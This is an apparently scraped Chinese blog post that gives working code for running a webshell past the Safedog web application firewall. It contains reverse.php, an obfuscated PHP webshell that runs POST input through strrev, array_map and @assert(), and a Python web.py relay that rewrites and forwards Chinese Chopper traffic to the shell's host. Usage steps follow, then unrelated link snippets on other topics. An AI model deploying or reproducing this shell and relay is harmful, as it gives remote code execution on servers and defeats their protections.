中转Webshell 绕过安全狗(二)
前言
在实践中转webshell绕过安全狗(一)中,在服务端和客户端均为php。某大佬提示并分享资源后,打算使用python完成中转。部分代码无耻copy。
客户端
本地127.0.0.1,安装python2
phpshellproxy.py
#coding=utf-8 import sys
reload(sys)
sys.setdefaultencoding('utf-8') import web urls = (
'/','index',
'/reverse','reverse',
) #render = web.template.render('templates/')
import json
import urllib class index:
def GET(self):
return 1
class Base:
def getpostdata(self, postdata):
#content with &
postdatalist = postdata.split('&')
for pa in postdatalist:
#content with =, can't split with =
index = pa.find("=")
setattr(self,pa[:index],urllib.unquote_plus(pa[index+1:]))
import requests
import codecs, urllib , base64 #, chardet
class reverse(Base, object):
def GET(self,corpid):
return 1
def POST(self):
data = web.data()
#print data
pwdata = data.split('&')[0].split('=')[1]
#print pwdata
#print 'pwdata', pwdata
#print 'pwdata[::-1]', urllib.unquote(urllib.unquote(pwdata.replace('+',' '))[::-1]).replace('&','%26').replace('+','%2b')
newpostdata = data.replace(pwdata, urllib.unquote(urllib.unquote(pwdata.replace('+',' '))[::-1]).replace('&','%26').replace('+','%2b'))
#print 'newpostdata', newpostdata
r = requests.post("http://192.168.253.129/waf/transServ.php", data=""+newpostdata.replace(' ','+'), headers = {"User-Agent":"Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/59.0.3071.115 Safari/537.36","Content-Type": "application/x-www-form-urlencoded"})#, proxies={'http':"http://127.0.0.1:8080"})
#print r.apparent_encoding
#r.encoding = 'gb2312'
#print chardet.detect(r.content)
#print r.text
#return r.text
return r.content
if __name__ == "__main__":
app = web.application(urls, globals())
app.run()
运行需要安装
pip install web
pip install requests
服务端
shell端192.168.253.129,安装安全狗
reverse.php
做了点混淆,可过安全狗
<?php
$DS = $_POST['x'];
$str = strrev($DS);
$a1 = array("1234","123456");
$a2 = array($str,"5461");
$ma = array_map(null,$a1,$a2)[0][1];
@assert($ma);
使用方法
替换phpshellproxy.py中的shell地址,需配合reverse.php使用
运行python phpshellproxy.py 9000 (端口自定义)
使用菜单连接对应shell地址,如 http://[ip]:9000/reverse ,输入对应密码,配置对应脚本类型,如果打开错误,建议清掉缓存,重新打开。
操作
本地运行phpshellproxy.py文件
中国菜刀进行连接http://127.0.0.1:9000/reverse 密码
想了解更多 欢迎关注
中转Webshell 绕过安全狗(二)的更多相关文章
- 中转Webshell 绕过安全狗(一)
前言 听说中国菜刀里有后门.抓包我是没有监测到异常数据包.为了以防万一,且更好使用中国菜刀硬杠安全狗.笔者收集了一下资料.无耻的copy大佬的源码,只是在大佬的基础上简单修改了一下,达到Webshel ...
- 绕过安全狗等一些WAF收集
绕过安全狗sql注入 http://demo.74cms.com/plus/ajax_common.php?act=hotwordquery=錦union+select+1,group_concat% ...
- [WEB]绕过安全狗与360PHP一句话的编写
00x01安全狗的确是让人很头痛,尤其是在上传一句话或者写入一句话的时候,会被安全狗拦截从而拿不下shell.当然,安全狗是最简单的一款waf,很容易就进行一个绕过.00x02对于绕过安全狗跟360, ...
- 从getwebshell到绕过安全狗云锁提权再到利用matasploit进服务器
本文作者:i春秋签约作家——酷帥王子 一. 利用getwebshell篇 首先对目标站进行扫描,发现是asp的,直接扫出网站后台和默认数据库,下载解密登陆如图: 下面进后台发现有fckeditor,而 ...
- WebShell代码分析溯源(二)
WebShell代码分析溯源(二) 一.一句话变形马样本 <?php $POST['POST']='assert';$array[]=$POST;$array[0]['POST']($_POST ...
- Mysql注入绕过安全狗
转载请加原文链接:https://www.cnblogs.com/Yang34/p/12055052.html 微信公众号:信Yang安全.同步更新,欢迎关注.文末有二维码. 正好最近在搞注入,昨天现 ...
- SQL注入原理及绕过安全狗
1.什么是SQL注入攻击 SQL注入攻击指的是通过构造特殊的输入作为参数插入到Web表单的输入域或页面请求的查询字符串,欺骗服务器执行恶意的SQL命令 http://www.xxx.com/list. ...
- 1.keras实现-->自己训练卷积模型实现猫狗二分类(CNN)
原数据集:包含 25000张猫狗图像,两个类别各有12500 新数据集:猫.狗 (照片大小不一样) 训练集:各1000个样本 验证集:各500个样本 测试集:各500个样本 1= 狗,0= 猫 # 将 ...
- C# 超级狗 二次开发 读写数据 激活验证 存储数据库连接字符串
本文主要讲解如果使用C#语言来对超级狗进行二次开发,如果仅仅是做个激活的功能,可以参照另一篇博客,地址:http://www.cnblogs.com/dathlin/p/8487842.html 如果 ...
随机推荐
- kill the lock
$ killall -s 9 krunner_lock [ZT][From:] http://www.commandlinefu.com/commands/view/2264/unlock-your- ...
- [Unity3D]Unity3D游戏开发Lua随着游戏的债券(在)
---------------------------------------------------------------------------------------------------- ...
- python3实现万年历(包括公历、农历、节气、节日)
#!/usr/local/bin/python3 # coding=utf-8 # Created: 20/07/2012 # Copyright: http://www.cnblogs.com/tx ...
- 静态库、动态库,dll文件、lib文件,隐式链接、显式链接浅见
静态链接.动态链接 静态库和动态库分别应用在静态链接方式和动态链接方式中,所谓静态链接方式是指在程序执行之前完成所有的链接工作,把静态库一起打包合入,生成一个可执行的目标文件(EXE文件).所谓动态链 ...
- STM32处理器AD难度整理
1.STM32的AD变化,任务组可以转换成两组:规则组和注射组.随机序列按随机顺序变换多种渠道构成了一组转换.例如.能够完成转换中,例如按照以下顺序:通道3.通道8.通道2.通道2.通道0.通道2.通 ...
- [转]更改ejs模板后缀.ejs为.html
三种写法 1,express老写法,3.*已经不支持 app.register('.html', require('ejs')); app.set('view engine', 'ejs'); 2, ...
- c#中的GetUpperBound,GetLowerBound方法
今天使用数组的时候,用到了几个数组的属性,总结如下: Array的Rank 属性:语法:public int Rank { get; } 得到Array的秩(维数).Array的GetUpperBou ...
- WPF 代码实现动画
<Window x:Class="wpf180709.Window2" xmlns="http://schemas.microsoft.com/win ...
- js 层的显示和隐藏
<!DOCTYPE html><html lang="en" xmlns="http://www.w3.org/1999/xhtml"> ...
- WPF数据验证方式
WPF有两种数据验证的方式: 1 在数据对象上进行验证:普通属性验证或者实现IDataErrorInfo接口 2 可以再绑定规则上进行验证:ExceptionValidationRule异常验证规则 ...